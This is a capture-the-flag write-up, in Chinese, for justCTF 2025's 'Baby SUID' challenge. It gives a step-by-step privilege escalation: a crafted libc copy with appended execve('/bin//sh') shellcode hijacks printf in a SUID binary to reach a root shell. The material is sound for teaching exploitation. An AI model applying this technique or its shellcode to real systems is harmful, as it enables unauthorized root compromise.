justCTF2025 Baby SUID题解-libc劫持SUID程序提权
题目地址:socat `tty`,raw,echo=0 tcp:baby-suid.nc.jctf.pro:1234
题目分析与环境搭建
首先下载附件,hello.c
就是hello
程序源代码,Dockerfile
用于构建本地镜像,run.sh
内为部署命令
1 | FROM --platform=linux/amd64 fedora:24 |
本地构建
1 | docker build -t chall_baby_suid -f ./Dockerfile . |
进入容器使用该命令,多给一点资源
1 | docker run --pids-limit 50 --ulimit nofile=64:64 --rm -it chall_baby_suid |
首先查找一下 SUID 程序,这个容器内少了很多东西,例如find
,gcc
,sudo
,vim
等都没有,vim 可以用 vi 代替,gcc 没有意味着我们需要在本地编译 exp 再上传
1 | ls -l /usr/bin/* /bin/* /sbin/* /usr/sbin/* 2>/dev/null | grep "rws" |
结果
1 | -rwsr-xr-x 1 root root 64336 Mar 17 2016 /bin/chage |
显然我们需要利用hello
提权,审计源代码
1 |
|
IDA 分析编译后程序,没有特别的,那就是劫持 libc 中的printf()
函数了。为了能编译出 exp,我们需要利用 fedora 系统下的 dnf 先安装gcc
1 | dnf install gcc |
安装完GCC-6.3.1
后,就可以开始准备提权了
提权过程
一开始打算劫持LD_AUDIT
打$ORIGIN
溢出,在本地确认用到的符号
1 | readelf -sW /usr/bin/hello | grep '@GLIBC_' | awk '{print $8}' | sort | uniq |
编写.symver
文件ver.c
,告知链接器版本符号
1 | __asm__(".symver __libc_start_main,__libc_start_main@GLIBC_2.2.5"); |
vi 编写如下代码exp.c
1 |
|
使用如下命令编译
1 | gcc -shared -fPIC exp.c ver.c -o exp |
使用如下命令在终端中上传
1 | base64 -w0 exp |
LD_AUDIT
劫持
1 | LD_AUDIT="\$ORIGIN" exec /bin/hello |
发现不行,还是会报版本符号错误。
正解是直接劫持原 libc.so.6 的printf
,首先截取 libc.so.6
1 | head -c 344224 /lib64/libc-2.23.so > libc.so.6 |
追加 shellcode
1 | echo -ne '\x48\x31\xff\x48\x31\xf6\xe8\x65\x55\x0a\x00\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' >> libc.so.6 |
随后把剩下的 libc 也拼回来
1 | tail -c+344259 /lib64/libc-2.23.so >> libc.so.6 |
执行/bin/hello
,提权成功
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Himekawaの小屋!